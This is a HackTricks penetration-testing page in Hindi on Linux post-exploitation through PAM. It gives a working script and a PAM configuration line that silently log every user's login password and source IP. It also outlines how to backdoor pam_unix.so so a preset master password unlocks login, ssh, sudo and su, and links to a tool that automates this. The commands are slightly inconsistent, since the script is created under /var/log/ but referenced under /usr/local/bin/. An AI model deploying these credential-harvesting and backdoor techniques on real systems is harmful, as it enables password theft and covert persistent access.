Linux Post-Exploitation

Reading time: 4 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

PAM के साथ लॉगिन पासवर्ड स्निफ़ करना

आइए एक PAM मॉड्यूल कॉन्फ़िगर करें जो प्रत्येक उपयोगकर्ता द्वारा लॉगिन करने के लिए उपयोग किए जाने वाले पासवर्ड को लॉग करता है। यदि आप नहीं जानते कि PAM क्या है, तो देखें:

PAM - Pluggable Authentication Modules

अधिक विवरण के लिए मूल पोस्ट देखें। यह केवल एक सारांश है:

तकनीक का अवलोकन: प्लग करने योग्य प्रमाणीकरण मॉड्यूल (PAM) यूनिक्स-आधारित सिस्टम पर प्रमाणीकरण प्रबंधन में लचीलापन प्रदान करते हैं। वे लॉगिन प्रक्रियाओं को अनुकूलित करके सुरक्षा बढ़ा सकते हैं, लेकिन यदि गलत तरीके से उपयोग किया जाए तो जोखिम भी पैदा कर सकते हैं। यह सारांश PAM का उपयोग करके लॉगिन क्रेडेंशियल कैप्चर करने की एक तकनीक को रेखांकित करता है, साथ ही शमन रणनीतियों के साथ।

क्रेडेंशियल कैप्चर करना:

  • एक बैश स्क्रिप्ट जिसका नाम toomanysecrets.sh है, लॉगिन प्रयासों को लॉग करने के लिए तैयार की गई है, जो तारीख, उपयोगकर्ता नाम ($PAM_USER), पासवर्ड (stdin के माध्यम से), और दूरस्थ होस्ट IP ($PAM_RHOST) को /var/log/toomanysecrets.log में कैप्चर करती है।
  • स्क्रिप्ट को निष्पादन योग्य बनाया गया है और PAM कॉन्फ़िगरेशन (common-auth) में pam_exec.so मॉड्यूल का उपयोग करके एकीकृत किया गया है, जिसमें चुपचाप चलाने और स्क्रिप्ट को प्रमाणीकरण टोकन उजागर करने के विकल्प हैं।
  • यह दृष्टिकोण दिखाता है कि कैसे एक समझौता किया गया Linux होस्ट क्रेडेंशियल्स को चुपचाप लॉग करने के लिए शोषित किया जा सकता है।
bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Backdooring PAM

अधिक जानकारी के लिए मूल पोस्ट देखें। यह केवल एक सारांश है:

Pluggable Authentication Module (PAM) एक प्रणाली है जो Linux के तहत उपयोगकर्ता प्रमाणीकरण के लिए उपयोग की जाती है। यह तीन मुख्य अवधारणाओं पर काम करती है: उपयोगकर्ता नाम, पासवर्ड, और सेवा। प्रत्येक सेवा के लिए कॉन्फ़िगरेशन फ़ाइलें /etc/pam.d/ निर्देशिका में स्थित हैं, जहाँ साझा पुस्तकालय प्रमाणीकरण को संभालते हैं।

उद्देश्य: PAM को संशोधित करना ताकि एक विशिष्ट पासवर्ड के साथ प्रमाणीकरण की अनुमति दी जा सके, वास्तविक उपयोगकर्ता पासवर्ड को बायपास करते हुए। यह विशेष रूप से common-auth फ़ाइल द्वारा उपयोग किए जाने वाले pam_unix.so साझा पुस्तकालय पर केंद्रित है, जो पासवर्ड सत्यापन के लिए लगभग सभी सेवाओं द्वारा शामिल किया जाता है।

pam_unix.so को संशोधित करने के चरण:

  1. common-auth फ़ाइल में प्रमाणीकरण निर्देश को खोजें:
  • वह पंक्ति जो उपयोगकर्ता के पासवर्ड की जांच के लिए pam_unix.so को कॉल करती है।
  1. स्रोत कोड को संशोधित करें:
  • pam_unix_auth.c स्रोत फ़ाइल में एक शर्तीय कथन जोड़ें जो पूर्वनिर्धारित पासवर्ड का उपयोग करने पर पहुंच प्रदान करता है, अन्यथा यह सामान्य प्रमाणीकरण प्रक्रिया के साथ आगे बढ़ता है।
  1. संशोधित pam_unix.so पुस्तकालय को उचित निर्देशिका में पुनः संकलित और प्रतिस्थापित करें
  2. परीक्षण:
  • विभिन्न सेवाओं (लॉगिन, ssh, sudo, su, स्क्रीनसेवर) में पूर्वनिर्धारित पासवर्ड के साथ पहुंच दी जाती है, जबकि सामान्य प्रमाणीकरण प्रक्रियाएँ अप्रभावित रहती हैं।

note

आप इस प्रक्रिया को https://github.com/zephrax/linux-pam-backdoor के साथ स्वचालित कर सकते हैं।

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें